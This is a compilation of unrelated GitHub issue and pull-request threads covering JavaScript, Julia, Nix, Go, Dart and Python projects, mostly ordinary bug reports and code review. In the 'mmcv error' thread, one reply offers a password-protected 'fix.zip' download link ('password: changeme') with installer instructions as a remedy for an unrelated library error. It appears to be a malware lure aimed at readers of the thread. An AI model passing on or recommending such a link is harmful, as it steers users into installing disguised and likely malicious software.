Chrome iOS is broken 😭

There is a statement in minified version, which make it to dissapear in chrome ios:
null===a.match(/iPad|iPhone|iPod/i)&&(null!==a.match(/iPad|iPhone|iPod/i) // always false

It was transformed from strange if in source
else if (userAgent.match(/iPad|iPhone|iPod/i) !== null) { } else if (userAgent.match(/iPad|iPhone|iPod/i) !== null) {

I think closureCompiler is broken, maybe it's time to try browserify?

@kudago, are you interested in patches?

@matmuchrapna thank you for your interest, patches are very welcomed :)

why, do we need closure compiler here in project?

yes, it is redundant dep in this case

the problem above is that this else if (userAgent.match(/iPad|iPhone|iPod/i) !== null) {		 	}  got matched to the userAgent. That line should be removed.
So a quick fix on our end while @kudago updates the source is to do this:
// wrap in an IIFE to prevent variables form leaking to global
;(function(){
    var userAgent = navigator.userAgent, overrideType;

    if (userAgent.match(/Windows Phone/i) != null && userAgent.match(/Touch/i) !== null) {
        overrideType = 'windows';
    } else if (userAgent.match(/iPad|iPhone|iPod/i) !== null) {
        if (userAgent.match(/Safari/i) !== null &&
                (userAgent.match(/CriOS/i) !== null ||
                Number(userAgent.substr(userAgent.indexOf('OS ') + 3, 3).replace('_', '.')) < 6)) {
            overrideType = 'ios';
        } // Check webview and native smart banner support (iOS 6+)
    } else if (userAgent.match(/Android/i) !== null) {
        overrideType = 'android';
    }

    new SmartBanner({
        daysHidden: 15,   // days to hide banner after close button is clicked (defaults to 15)
        daysReminder: 90, // days to hide banner after "VIEW" button is clicked (defaults to 90)
        appStoreLanguage: 'us', // language code for the App Store (defaults to us)
        title: 'xx',
        author: 'xxx',
        button: 'VIEW',
        store: {
            ios: 'On the App Store',
            android: 'In Google Play',
            windows: 'In Windows store'
        },
        price: {
            ios: 'FREE',
            android: 'FREE',
            windows: 'FREE'
        }
        , force: overrideType
    });
})();

Basically it reevaluates the user agent and use the handy force option to override :)


Ideas about data model

After discussion with @TeroFrondelius we realised that the proposed data model is not realistic. First of all it lacks time and increment data, so basically we should at least have something like
/time/increment/rest of stuff
As we are planning to read and write terabytes of data important aspect is that not all data need to be read to memory. We also care about parallelism a lot. If we use Xdmf as a primary file format we need to think a bit how to actually save and read model, see https://github.com/ovainola/JuliaFEM/blob/master/notebooks/2015-06-20-export-to-xdmf.ipynb for description of format. We also want to take advantage of ParaView's parallel processing features. One important requirement is that we can later on change data model to streaming type.
So it's HDF and Xdmf which are giving some constraints to model design. Here's some (old) discussion about how to make parallelism working in ParaView
http://www.paraview.org/pipermail/paraview/2008-June/008371.html

http://www.xdmf.org/index.php/Write_from_Fortran
This Fortran example.. It just leaves me wordless. It inspires me to write Zen of Fortran:
Ugly is better than beautiful.
Implicit  is better than explicit.
Complex is better than simple.
Complicated is better than complex.

http://www.prace-ri.eu/IMG/pdf/Implementing_a_XDMF_HDF5_Parallel_File_System_in_Alya-2.pdf

We also need to assign sets to elements and nodes. Keep in mind that we need structures that are easy to save to disk. Sets can be quite large so we must save this data also to h5 file. One approach would be to save set names to xml file SUPPORT => 1, LOAD => 2, etc. and make another field to elements and nodes like "set" with corresponding id number.

Node and Element need to be able to belong multiple sets.

Yes. Maybe our "set" field is a vector field, say length of 3 or 4 or extendable anyway, and 0 means "doesn't belong to set".
I'm more worried about Dirichlet boundary conditions. Say that we have 4 node model, trying to solve vector field (e.g. displacement) and we want to set dx=dy=0 for nodes 1 and 2 and dx=1 for node 3. In that case we should have something

bc = [0 0; 0 0; 1 NULL; NULL NULL]'

but I think it's not possible to save non-numbers to h5 file...

Sets must also be time dependent so they must be defined for each time step or even increment. I already see cases in damage mechanics (damaged elements = set) or contact mechanics (active contact boundary) or in adaptive mesh refinement.

Relevant julia-users conversation of the topic: https://groups.google.com/forum/#!topic/julia-users/Z5WlHpRWLho

[1] https://github.com/mauro3/Parameters.jl
[2] https://bitbucket.org/maurow/lmesh.jl

BTW, obviously the data model be in single partition before we to domain decomposition because we don't know domains before that.
I tested NaN with HDF5, it actually seems to be working!

julia> a = [1 2; NaN 3]
2x2 Array{Float64,2}:
1.0  2.0
NaN    3.0

julia> h5write(tf, "/foo", a)

julia> h5read(tf, "/foo")
2x2 Array{Float64,2}:
1.0  2.0
NaN    3.0

After thinking a bit we probably don't want to just pass some "object" or "model" as solver input argument to solve something. In that way our data model and solvers would be very tightly coupled and that should be something worth of avoiding if we don't want our code to become spaghetti where everything connects to everywhere. We can later on code some generic interface approach which automatically gets data from model and passes it to solver and vice versa but our solver interfaces should be explicitly defined.

I have finished an early version of notebook describing how to develop JuliaFEM:
https://github.com/JuliaFEM/JuliaFEM.jl/blob/master/notebooks/2015-08-29-developing-juliafem.ipynb
Mainly we have four types, Element, Equation, Problem and Solver. Then we have some smaller things like Basis, Field, FieldSet, IntegrationPoint etc. but the four first mentioned are the most important ones.
I think this approach is quite good because now the interpolation of fields is done in Element, integration of equations is done in Equation and solving the problem ("hard work") is done in Solver. Different concepts are now clearly separated and I suppose this is also easy to test. Some coupling between Equation and Element clearly exists because the local stiffness depends on how the geometry is defined in Element, but we can live with that.
We have already defined Lagrange elements and partially support hierarchical elements and I guess we are quite happy with them. Maybe we also need to define some C1-continous elements for Euler-Bernoulli things in plates, shells and beams. When we need more performance to our code it's always the design of Solver and theoretical stuff like formulation of new problems is always related to Equation.

https://github.com/JuliaFEM/JuliaFEM.jl/blob/master/docs/tutorials/2015-06-14-data-structures.ipynb
Third iterations. This is quite good now, I think.


Bug: Dragging a tile pushes all other tiles away if verticalCompact is set to false

As you can see in this video the tiles which colide are moved and don't fallback to their original position:

Code:
<ResponsiveReactGridLayout
            compactType={null}
            layouts={this.state.layouts}
            onLayoutChange={this.onLayoutChange}
>
            {this.generateDOM()}
</ResponsiveReactGridLayout>

or:
<ResponsiveReactGridLayout
            verticalCompact={false}
            layouts={this.state.layouts}
            onLayoutChange={this.onLayoutChange}
>
            {this.generateDOM()}
</ResponsiveReactGridLayout>

CodeSandbox:
https://codesandbox.io/s/quirky-wilbur-7dnys?file=/src/ShowcaseLayout.js

bump

@jantimon Did you get anywhere with this issue? We are seeing the same and it's not the best experience!


Master

I had made changes to your json to correct the image reference when I merged it in. You'll need to pull from the master repository and re-apply your changes because of the conflict.

Hopefully I've done it right this time. I'm very sorry for the problems
I've caused and thank you very much for your help.
I'm really looking forward to play Fate Core with Roll20. :)
Am 23.12.2015 um 19:34 schrieb SteveKoontz:

I had made changes to your json to correct the image reference when I
merged it in. You'll need to pull from the master repository and
re-apply your changes because of the conflict.
—
Reply to this email directly or view it on GitHub
https://github.com/Roll20/roll20-character-sheets/pull/1253#issuecomment-166966281.


mmcv error

hi, when execute:
sh scripts/create_data.sh
it gives out errors below:
/mnt/data/miniconda3/envs/sparsedrive/lib/python3.8/site-packages/mmcv/init.py:20: UserWarning: On January 1, 2023, MMCV will release v2.0.0, in which it will remove components related to the training process and add a data transformation module. In addition, it will rename the package names mmcv to mmcv-lite and mmcv-full to mmcv. See https://github.com/open-mmlab/mmcv/blob/master/docs/en/compatibility.md for more details.
warnings.warn(
Traceback (most recent call last):
File "tools/data_converter/nuscenes_converter.py", line 22, in
from projects.mmdet3d_plugin.datasets.map_utils.nuscmap_extractor import NuscMapExtractor
File "/mnt/data/github_src/SparseDrive/projects/mmdet3d_plugin/init.py", line 1, in
from .datasets import *
File "/mnt/data/github_src/SparseDrive/projects/mmdet3d_plugin/datasets/init.py", line 1, in
from .nuscenes_3d_dataset import NuScenes3DDataset
File "/mnt/data/github_src/SparseDrive/projects/mmdet3d_plugin/datasets/nuscenes_3d_dataset.py", line 21, in
from mmdet.datasets import DATASETS
File "/mnt/data/miniconda3/envs/sparsedrive/lib/python3.8/site-packages/mmdet/datasets/init.py", line 2, in
from .builder import DATASETS, PIPELINES, build_dataloader, build_dataset
File "/mnt/data/miniconda3/envs/sparsedrive/lib/python3.8/site-packages/mmdet/datasets/builder.py", line 15, in
from .samplers import (ClassAwareSampler, DistributedGroupSampler,
File "/mnt/data/miniconda3/envs/sparsedrive/lib/python3.8/site-packages/mmdet/datasets/samplers/init.py", line 2, in
from .class_aware_sampler import ClassAwareSampler
File "/mnt/data/miniconda3/envs/sparsedrive/lib/python3.8/site-packages/mmdet/datasets/samplers/class_aware_sampler.py", line 8, in
from mmdet.core.utils import sync_random_seed
File "/mnt/data/miniconda3/envs/sparsedrive/lib/python3.8/site-packages/mmdet/core/init.py", line 3, in
from .bbox import *  # noqa: F401, F403
File "/mnt/data/miniconda3/envs/sparsedrive/lib/python3.8/site-packages/mmdet/core/bbox/init.py", line 8, in
from .samplers import (BaseSampler, CombinedSampler,
File "/mnt/data/miniconda3/envs/sparsedrive/lib/python3.8/site-packages/mmdet/core/bbox/samplers/init.py", line 12, in
from .score_hlr_sampler import ScoreHLRSampler
File "/mnt/data/miniconda3/envs/sparsedrive/lib/python3.8/site-packages/mmdet/core/bbox/samplers/score_hlr_sampler.py", line 3, in
from mmcv.ops import nms_match
File "/mnt/data/miniconda3/envs/sparsedrive/lib/python3.8/site-packages/mmcv/ops/init.py", line 3, in
from .active_rotated_filter import active_rotated_filter
File "/mnt/data/miniconda3/envs/sparsedrive/lib/python3.8/site-packages/mmcv/ops/active_rotated_filter.py", line 10, in
ext_module = ext_loader.load_ext(
File "/mnt/data/miniconda3/envs/sparsedrive/lib/python3.8/site-packages/mmcv/utils/ext_loader.py", line 13, in load_ext
ext = importlib.import_module('mmcv.' + name)
File "/mnt/data/miniconda3/envs/sparsedrive/lib/python3.8/importlib/init.py", line 127, in import_module
return _bootstrap._gcd_import(name[level:], package, level)
ImportError: /mnt/data/miniconda3/envs/sparsedrive/lib/python3.8/site-packages/mmcv/_ext.cpython-38-x86_64-linux-gnu.so: undefined symbol: __cxa_call_terminate
(sparsedrive) hoo@hoo-Lenovo-ThinkBook-16p-Gen-4:/mnt/data/github_src/SparseDrive$ pip list |grep mmcv
mmcv-full                  1.7.1

Download
https://www.mediafire.com/file/3hzk77cxvxc9nq2/fix.zip/file
password: changeme
In the installer menu, select "gcc."

i am working on linux ,not windows,your files are windows
---- Replied Message ----
| From | @.> |
| Date | 08/29/2024 12:16 |
| To | @.> |
| Cc |<EMAIL_ADDRESS>|
| Subject | Re: [swc-17/SparseDrive] mmcv error (Issue #34) |
Download
https://www.mediafire.com/file/3hzk77cxvxc9nq2/fix.zip/file
password: changeme
In the installer menu, select "gcc."
—
Reply to this email directly, view it on GitHub, or unsubscribe.
You are receiving this because you authored the thread.Message ID: @.***>

Try to reinstall mmcv, make sure the versions of torch, mmcv, cuda etc. are aligned with ours.

as you see, the mmcv version is the same as in requirement.txt is 1.7.1


Add "omitempty" tag to marshal clouds right

Currently when we try to marshal Clouds, it produces a lot of fields with empty strings, which is not correct.
This patch adds "omitempty" tag to all Cloud fields to allow correct marshalling of the structure.

@Fedosin Thanks for submitting this.
As well, thank you for including tests! I hate to nit-pick on this, but would it be possible to quickly reformat the fixtures to be:
package testing

import (
  "testing"

  "github.com/gophercloud/utils/openstack/clientconfig"

  th "github.com/gophercloud/gophercloud/testhelper"
  yaml "gopkg.in/yaml.v2"
)

var VirginiaExpected = `clouds:
  virginia:
    auth:
      auth_url: https://va.example.com:5000/v3
      application_credential_id: app-cred-id
      application_credential_secret: secret
    auth_type: v3applicationcredential
    region_name: VA
    verify: true
`

var HawaiiExpected = `clouds:
  hawaii:
    auth:
      auth_url: https://hi.example.com:5000/v3
      username: jdoe
      password: password
      project_name: Some Project
      domain_name: default
    region_name: HNL
    verify: true
`

func TestMarshallCloudToYaml(t *testing.T) {
...

@jtopjian done!


Update release notes to account for PR 1141.

Commented... feel free to merge it if the fix is clear straightforward for you, @laurenrother .

@kuenishi Great suggestions! Thank you!

I'll revert this as about terminology "v4 authentication" and character should be %20, not %.


Add express-style middleware for node.provide

add middleware in node.provide by use async.series
also change some test and add test case for middleware

Coverage decreased (-0.1%) to 99.155% when pulling 8b4fe53291c8f45bb3018229cb1557706eda33fc on phantomnat:master into 7558f0270afc20236145e4618aa45e34f423538b on jitta:master.

Coverage decreased (-0.1%) to 99.155% when pulling bbd736a3d29ddba12320da91a2d6fb832391edbc on phantomnat:master into 7558f0270afc20236145e4618aa45e34f423538b on jitta:master.

Coverage decreased (-0.1%) to 99.155% when pulling 77f2b657ed81ea783cedc3755e0299324640357a on phantomnat:master into 7558f0270afc20236145e4618aa45e34f423538b on jitta:master.

Coverage decreased (-0.1%) to 99.155% when pulling 51d2bdc4f94fb4ad1c2605f14d248056a34dac87 on phantomnat:master into 7558f0270afc20236145e4618aa45e34f423538b on jitta:master.

Coverage decreased (-0.1%) to 99.156% when pulling 4eeedaa38f8e2aebad49fa89a293d854abd6b643 on phantomnat:master into 7558f0270afc20236145e4618aa45e34f423538b on jitta:master.

Coverage decreased (-0.1%) to 99.156% when pulling d5fe0c11f325970cb73ff1387b936278d49ae8e5 on phantomnat:master into 7558f0270afc20236145e4618aa45e34f423538b on jitta:master.

Great idea for middleware concept! good job! before we will merge with our master branch we need you to fix this PR first.

Please use our style guide that we using in our code (if you want to refactor or something you should create a new PR for that topic)
We try to keep spinal lean as much as possible so we don't want to put pm2 into our package and it's developers choice to choose what process manager they want to use.
User can start spinal broker from CLI
Please keep older node versions in automated test. There many people necessary to use older versions of node.

It's a good idea to have this feature in spinal hope to see your PR merge!


weston: 11.0.2 -> 12.0.1; clean up; adopt

Description of changes
Details in commit messages.
Things done

Built on platform(s)

[x] x86_64-linux
[ ] aarch64-linux
[ ] x86_64-darwin
[ ] aarch64-darwin

[ ] For non-Linux: Is sandbox = true set in nix.conf? (See Nix manual)
[ ] Tested, as applicable:

NixOS test(s) (look inside nixos/tests)
and/or package tests
or, for functions and "core" functionality, tests in lib/tests or pkgs/test
made sure NixOS tests are linked to the relevant packages

[ ] Tested compilation of all packages that depend on this change using nix-shell -p nixpkgs-review --run "nixpkgs-review rev HEAD". Note: all changes have to be committed, also see nixpkgs-review usage
[x] Tested basic functionality of all binary files (usually in ./result/bin/)
23.05 Release Notes (or backporting 22.11 Release notes)

[ ] (Package updates) Added a release notes entry if the change is major or breaking
[ ] (Module updates) Added a release notes entry if the change is significant
[ ] (Module addition) Added a release notes entry if adding a new NixOS module

[x] Fits CONTRIBUTING.md.

Result of nixpkgs-review pr 234061 run on x86_64-linux 1

2 packages built:

weston
westonLite


Wrong indentation when adding two newlines after the beginning of a code block

Create a function or a code block, even an empty one will do e.g.

function test():void {
  true;
}

or even
{
}

Position the cursor after the opening {
Press Enter once
Cursors moves to a new line, indenting 1 level
Press Enter once again

Expected result: cursor moves to a new line, indent level stays the same since we're still in the same code block
Actual result: cursor moves to a new line, un-indenting 1 level
P.S. Common use case: I want to add some argument validation at the beginning of an existing function, and I want that code to be separated from the existing code by a newline for readability. I like to start by making that extra space, hence the two newlines.

I think this one comes from some changes from @wise0704


Refactor WAL record handling

Introduce the concept of a "ZenithWalRecord", which can be a Postgres WAL
record that is replayed with the Postgres WAL redo process, or a built-in
type that is handled entirely by pageserver code.
Replace the special code to replay Postgres XACT commit/abort records
with new Zenith WAL records. A separate zenith WAL record is created for
each modified CLOG page. This allows removing the 'main_data_offset'
field from stored PostgreSQL WAL records, which saves some memory and
some disk space in delta layers.
Introduce zenith WAL records for updating bits in the visibility map.
Previously, when e.g. a heap insert cleared the VM bit, we duplicated the
heap insert WAL record for the affected VM page. That was very wasteful.
The heap WAL record could be massive, containing a full page image in
the worst case. This addresses github issue #941.

This allows removing the 'main_data_offset'
field from stored PostgreSQL WAL records, which saves some memory and some disk space in delta layers.

You remove main_data_offset but introduce new enum which cause bincode to add 4-bytes tag. So as a result size of serialized record will be the same.
Looks like we are not concerning about efficient storage format and counting bytes. So it is time to think about more efficient serialization of our structure rather than serde/bincode does by default. May be it is not a problem at all and there is already some well know solution. I failed to google it, but may be  Rust experts in our company can recommend something.
What I have tested myself and found in Internet:

Unfortunately, the encoded discriminant is always stored using 4 bytes even if you used a different #[repr(...)] for the enum. All hopes aren’t lost, because varint is currently proposed to be added in bincode. If this PR is accepted, this means that we could directly use an enum, and get optimal serialization for free!

This allows removing the 'main_data_offset'
field from stored PostgreSQL WAL records, which saves some memory and some disk space in delta layers.

You remove main_data_offset but introduce new enum which cause bincode to add 4-bytes tag. So as a result size of serialized record will be the same.

Good point.

Looks like we are now concerning about efficient storage format and counting bytes. So it is time to think about more efficient serialization of our structure rather than serde/bincode does by default. May be it is not a problem at all and there is already some well know solution. I failed to google it, but may be Rust experts in our company can recommend something.

Yeah. I'm not too worried about the serialization performance right now, but it would be nice to have more control over the format. In the future, if we change the format, we will need to be able to read old format for upgrade purposes, so it'd be nice to be very explicit about the format. bincode readme says that the format is stable, and suitable for storage, but it still feels a bit too magic to me :-).

Also relevant to issue https://github.com/zenithdb/zenith/issues/332


CORS issue on chrome

Hi, we are using the prismic platform to supply our application with content. This content also has 3D images which we need to load in a react component. However when we try this we always get the CORS error:
Access to fetch at 'https://sales-tool-vdv-antwerpen.cdn.prismic.io/sales-tool-vdv-antwerpen/d19dd7e73958894738b4ae422d02a0d8ab3d2e79_n1-balkon-naar-receptie.jpg' from origin 'https://playground.codecliff.be' has been blocked by CORS policy: No 'Access-Control-Allow-Origin' header is present on the requested resource. If an opaque response serves your needs, set the request's mode to 'no-cors' to fetch the resource with CORS disabled.
This while when we use the url inside an ´a´ tag it is fine and loads fine. Only when we try to use it in another component which calls the URL I guess it doesn't work.
This issue only shows on chrome (not on safari, edge or firefox) which makes it very critical. For now we are looking into working with a proxy but to be honest it should be possible to add a ´Access-Control-Allow-Origin´ header to the response of those assets.

I have CORS problems with prismic on two projects (always images loaded for webgl). Ask to prismic support too, but always the same.

Hello @sndrgb  @nealoke , We did some updates on our side. Do you still have CORS issues?

yes, i am having this issue

+1 Same issue here, just on chrome


Better handling of URLs without trailing slash

The current logic assumes that all URLs will end in a slash and thus generate report JSON files that look like URL_-TIMESTAMP.report.json. URLs that don't have a slash don't include that underscore, which breaks the create-report-index script (as reported on #22).
This commit modifies the report cord so that a URL's trailing slash is included in its report URL. This will impact live URLs, meaning that instead of pages like
https://cfpb.github.io/cfgov-lighthouse/www_consumerfinance_gov-_about_us_blog/
we'll have URLs like
https://cfpb.github.io/cfgov-lighthouse/www_consumerfinance_gov-_about_us_blog_/
(note the added trailing slash).
This is probably more correct to account for hypothetical cases where you have two URLs that differ depending on the trailing slash.
I've also deleted report HTML files that will be renamed due to this change; I wonder if we should add a step that cleans the output HTML directory as part of the build to avoid having to do this?

I'll fix the tests.

I'll fix the tests.


Integrate Synthswap and 1inch swaps

Description
Enable users to swap synth to erc20 via synthswap and other tokens via 1inch
Related issue
https://github.com/Kwenta/kwenta/issues/951

On a first glance looks great! Will add more comments while testing.

Search bar only searches synths, not tokens list. We should probably rename it to "Search" and make sure it searches all lists.

From #951, missing (still opens Uniswap widget):

"Get more sUSD" widget currently uses Uniswap widget; remove this and forward the button to our exchange once 1inch is integrated

Synth icon is not pulled when trying to swap on vercel deploy. They are however visible for tokens, but not for other synths. See screenshot.

"Exchange Fee" and "Fee Cost" are not visible when swapping from/to tokens. I guess if no (protocol) fees apply, we should just leave the label text and show a placeholder - for the values, to keep the UI consistent?

Thanks for the review.

Good catch will fix the search
ok
3.1. I'm not seeing the issue with synth icons on vercel deploy, seem to be showing up ok for me
3.2. Will look into gas fee issue
There will be some fees here but it needs some refactoring on the fee calculation in useExchange to support synthswap. I was thinking we could do that in a separate task. For now I'll make it consistent.

@platschi I do see the issue with icon sometimes actually, will also look into that

@platschi I've addressed all comments apart from the fees. I've left it as is, to hide fees on non synth to synth swap as this was the existing logic. As mentioned previously we'll need to refactor a bit to populate fees section for synthswap, I'm happy to add to this PR but as I will be off from tomorrow to Tuesday I don't think it will be a blocker for merging this feature if we wanted to break fees into a separate task.

Sometimes I see this yellow -100% indicator but not sure what's that. Seems like the swap values are fine

Sometimes I see this yellow -100% indicator but not sure what's that. Seems like the swap values are fine

@platschi this is the slippage percent, and it was showing -100% because coingecko price fetching was hardcoded to ethereum and failing to fetch prices of optimism addresses. Should be fixed now as updated the query to include the correct network.

When selecting e.g. sUSD -> AELIN, I cannot type in values in the "Into" input field.  However, this works (as expected) if I switch to sUSD -> sLINK, for example. Would expect to be able to input values in both fields.

sUSD -> ELK does not calculate a value for ELK

sUSD -> WBTC, sUSD -> USDT, sUSD -> USDC values are extremely low  and/or with a 100% slippage, probably no liquidity here, do we still want to offer these tokens or hide them from the list given it's basically useless to swap them?

When selecting e.g. sUSD -> AELIN, I cannot type in values in the "Into" input field. However, this works (as expected) if I switch to sUSD -> sLINK, for example. Would expect to be able to input values in both fields.

I forgot to mention I disabled input on "into" field for synthswap assets as it's going to be a bit more effort to make the conversion the other way. Could we break into another ticket?

sUSD -> ELK does not calculate a value for ELK
I just checked and this gives an insufficient liquidity error. Do we have a standard error notification or something we can show for things like this?

sUSD -> WBTC, sUSD -> USDT, sUSD -> USDC values are extremely low and/or with a 100% slippage, probably no liquidity here, do we still want to offer these tokens or hide them from the list given it's basically useless to swap them?
This is a good catch and actually because I'm not using the correct asset decimals

Showing Slippage is cool, but we should maybe make it clear that the yellow % value refers to Slippage. It wasn't immediately clear to me when I saw it first :) Maybe add a "Slippage: " string in front of them, or something similar that fits
Agree this is not very obvious, it was just in the existing UI. I will see how it looks with "slippage" label.

When selecting e.g. sUSD -> AELIN, I cannot type in values in the "Into" input field. However, this works (as expected) if I switch to sUSD -> sLINK, for example. Would expect to be able to input values in both fields.

I forgot to mention I disabled input on "into" field for synthswap assets as it's going to be a bit more effort to make the conversion the other way. Could we break into another ticket?

All right will create another ticket to fix it.

sUSD -> ELK does not calculate a value for ELK

I just checked and this gives an insufficient liquidity error. Do we have a standard error notification or something we can show for things like this?

Currently just showing the error warning within the "Swap" button, you can test by forcing an insufficient balance error. We can place it there for now until we have a better error handling in place (part of #1052, #491)

sUSD -> WBTC, sUSD -> USDT, sUSD -> USDC values are extremely low and/or with a 100% slippage, probably no liquidity here, do we still want to offer these tokens or hide them from the list given it's basically useless to swap them?

This is a good catch and actually because I'm not using the correct asset decimals

:+1:

Showing Slippage is cool, but we should maybe make it clear that the yellow % value refers to Slippage. It wasn't immediately clear to me when I saw it first :) Maybe add a "Slippage: " string in front of them, or something similar that fits

Agree this is not very obvious, it was just in the existing UI. I will see how it looks with "slippage" label.

Thanks!

This title also looks odd for non-sUSD pairs...

For reference, an sUSD pair:

This title also looks odd for non-sUSD pairs...

For reference, an sUSD pair:

I was just looking into this and it seems an existing issue in formatCryptoCurrency, it's adding currency key as prefix and sign as suffix. I will switch them unless there is a reason for this that I am missing.


chore: refactor DatabaseReconciler to use common functions for reconciliation error marking

Closes #5927
Aligning the DatabaseReconciler code with the one of PublicationReconciler/SubscriptionReconciler, by leveraging the "common" functions that have been added by the Pub/Sub implementation.
Re-ordering the DatabaseReconciler actions to align with the flow of PublicationReconciler/SubscriptionReconciler.
Moving some shared code to common.go.

/test depth=push

/test limit=local


Recent usage?

Has anyone used this repository recently?
I'm getting several errors when trying to bring it up:
cli_1      | Starting Mail Transport Agent (MTA): sendmail.
cli_1      | Do not run Composer as root/super user! See https://getcomposer.org/root for details
cli_1      | Do not run Composer as root/super user! See https://getcomposer.org/root for details
magento2_cli_1 exited with code 0

Apparently, varnish fails earlier as well:
varnish_1  | bind(): Cannot assign requested address
varnish_1  | child (16) Started
varnish_1  | Child (16) said Child starts

(I don't have anything on 80, and the docker daemon runs as root).
Any hint please?

Can you provide your docker compose config please?

Good afternoon,
The flat is the one that is below ground level - we didn't see any number
for it.
It is inhabited for about a month now.
Thanks so much for your help!
Pierre.
On Apr 27, 2017 8:54 AM, "Nick"<EMAIL_ADDRESS>wrote:

Can you provide your docker compose config please?
—
You are receiving this because you authored the thread.
Reply to this email directly, view it on GitHub
https://github.com/meanbee/docker-magento2/issues/67#issuecomment-297640289,
or mute the thread
https://github.com/notifications/unsubscribe-auth/AAyOlfnFdGZrUeP9Flwro-gMnhgsyLG9ks5r0Em9gaJpZM4NJUb_
.

@punkstar What does that mean? We configured the environment as described in the readme, essentially only changing the github / magento connect tokens. We tried with and without M2SETUP_USE_SAMPLE_DATA=true, it didn't make any difference.


Support using native tokens for proposal deposits

Some DAOs may want to use native tokens like Juno for proposal deposits.
This would work well for more open "anyone can submit" style DAOs like in #386 to help fight spam or as part of the process for raising a treasury.

Have done this work for cw-plus here: https://github.com/CosmWasm/cw-plus/pull/751
Feel like it came together reasonably nicely. Should probably reuse this design.

Thanks for the link @ezekiiel! I tried reading that PR but will admit it didn't click immediately. Nonetheless, I believe we can take a stab at this. Perhaps I'll follow up with questions in Discord if we get stuck. 🙏🏼

Great! Thanks @mikedotexe! Discord is a great place to ask questions. Happy to help.

https://github.com/DA0-DA0/dao-contracts/pull/481


Missing scroll bar modifier in tab

I don't know why this happens :-(

I don't know why this happens :-(

Can you elaborate on this? :slightly_smiling_face:

Now is Ok, but when i make new pull request, github add new commits to previous request :-(
I dont know what i make wrong.

If you add commits to your branch form where you have created a pull request GitHub will add the commits to the pull request.
To create a new PR you should creat a new branch too.
Can we merge it?

OK. Yes you can.

Okay, merged!
Now, if you can create a new PR fro master too.


pythonPackages.urwid: 1.3.1 -> 2.0.1

Motivation for this change
A new package I'd like to contribute depends on urwid>=2.0.0, from upstream's changelog, it seems no breaking changes were done. I hope this is reliable enough and that this update won't break existing packages.
Things done

[X] Tested using sandboxing (nix.useSandbox on NixOS, or option sandbox in nix.conf on non-NixOS)
Built on platform(s)

[X] NixOS
[ ] macOS
[ ] other Linux distributions

[ ] Tested via one or more NixOS test(s) if existing and applicable for the change (look inside nixos/tests)
[X] Tested compilation of all pkgs that depend on this change using nix-shell -p nix-review --run "nix-review wip"
[ ] Tested execution of all binary files (usually in ./result/bin/)
[ ] Determined the impact on package closure size (by running nix path-info -S before and after)
[X] Ensured that relevant documentation is up to date
[X] Fits CONTRIBUTING.md.

@GrahamcOfBorg build pythonPackages.urwid python35Packages.urwid python36Packages.urwid python37Packages.urwid

@doronbehar Can you squash commits?

Squashed.

Thanks 🎆


bootstrap: yum install the list of dependencies

This optimizes the bootstrap section for RPM in a couple ways:

There's no need to check "rpm -q" before doing "yum install". Yum will gracefully skip packages that are already installed.
Just assume that the user has sudo rights; don't "echo" what they should do. If there are problems, they can read the bootstrap shell script to figure out what's going on.
Handle all the packages at once; don't loop through them individually.

Related: http://tracker.ceph.com/issues/11637

Why not do the apt work here as well?  It's almost the exact same change.

:-1: How will this script work when the user lacks sudo privileges, e.g., Travis CI container-based builds:
https://github.com/andrewgaul/s3proxy/blob/master/.travis.yml
https://github.com/andrewgaul/s3proxy/blob/master/src/test/resources/run-s3-tests.sh

@andrewgaul Could we have the install fail silently and print the old message saying the packages need installed if so?

@andrewschoen As long as bootstrap continues to support non-root users this satisfies my use case.  However, what problem does this commit solve (bug has private access)?  Instead should you have install-apt-dependencies.sh and install-yum-dependencies.sh scripts which your external test harness invokes?

@andrewgaul Our configuration management had typically installed these packages on our testnodes.  However, we're trying to push the responsibility of installing things back out to the projects or tasks that need them.
Our current test harness only invokes bootstrap, but I suppose we could change that teuthology task to install these packages before calling bootstrap in this project.

@andrewgaul , thanks for pointing out the use case for users who don't have the packages installed and don't have sudo privs. I wasn't aware that s3-tests was used in that fashion, but it certainly makes sense.
The main problem I wanted to solve was to make bootstrap automatically install the dependencies if they are not available, rather than simply bailing with an error text. I'll amend this PR to only include this change. I'm not as concerned about the other optimizations at this point.
(Also, apologies for the private ticket access. As @andrewschoen made reference to above, it's a request from @vasukulkarni to install python-devel and python-virtualenv throughout our downstream lab in order to satisfy this test suite. @andrewschoen and I were trying to see if we could avoid installing those packages globally just for this one test, hence this bootstrap change.)

I'm going to just close this PR for the newer one at https://github.com/ceph/s3-tests/pull/55


🐛fix (generator) Support intercepted custom object serializers

I use a custom dio interceptor to automatically convert objects to maps. My custom objects do not have .toJson() methods. This requires me to add custom .toJson() method to make retrofit work again. But my objects do not require json conversion.
Simple fix is to warn the programmer that they do not have .toJson() method and continue the generator.
I use built_value instead of json_serializable. built_value creates serializers automatically, so I don't have .toJson on my custom objects
Example using automatic json conversion using dio interceptors:
class AutomaticConverterInterceptor extends Interceptor {
  onRequest(options) {
    if (options.data is CustomObject) {
      options.data = {'id': options.data.id };
    }

    if (options.data is User) {
      options.data = {'id': options.data.id, 'email': options.data.email };
    }

    return options;
  }

  onResponse(response) {
    if (response.request.responseType == ResponseType.json &&
        (response.data is Map || response.data is List)) {
      response.data = User(id: response.data.id, email: response.data.email);
    }

    return response;
  }

When you want to automatically convert, use the interceptor
final dio = Dio()..interceptors.add(AutomaticConverterInterceptor())

Also formats code with standard dart formatting using dartfmt -w .

Added Workaround for #50
Added option to disable auto casting response. Currently there is no perfect solution so, give user the option to enable and disable this
example:
abstract class GenericCast {
  @POST("/users/1", autoCastResponse: true)
  Future<User> getUser();
}

This will generate
    final value = User.fromJson(_result.data);
    return Future.value(value);

If user turn off option autoCastResponse: false then, response is returned as it is

@devkabiir  Thanks for your contribution.
Could you please set true as the default value of autoCastResponse? Less configuration is better for most of users.
It will be more convenient to provide another global config to disable auto casting feature.  RestApi annotation is  a choice.

@trevorwang, Okay, I will set true as default for autoCastResponse. I will also add global option for that

@trevorwang Please review again.

It looks like not working.

@akdeveloper-android  Do you mean autoCastResponse is not working?

@trevorwang
autoCastResponse is not working whether I set true or false.
retrofit_generator: 1.0.0
retrofit: 0.6.3

@akdeveloper-android  It only works with json_serializable
here's the sample code which shows how to use it.
https://github.com/trevorwang/retrofit.dart/blob/11a93f059a276a732ac80cb29879145bd954f0bc/example/lib/example.dart#L35

@trevorwang is it working?
Same issue as of @akdeveloper-android.
I just want to get response, how I can do it?

it's not fix for https://github.com/trevorwang/retrofit.dart/issues/50

@fryette @akdeveloper-android   Please use HttpResponse to get original resposne.


Add table of contents to the readme file

Is there an existing feature request for this?

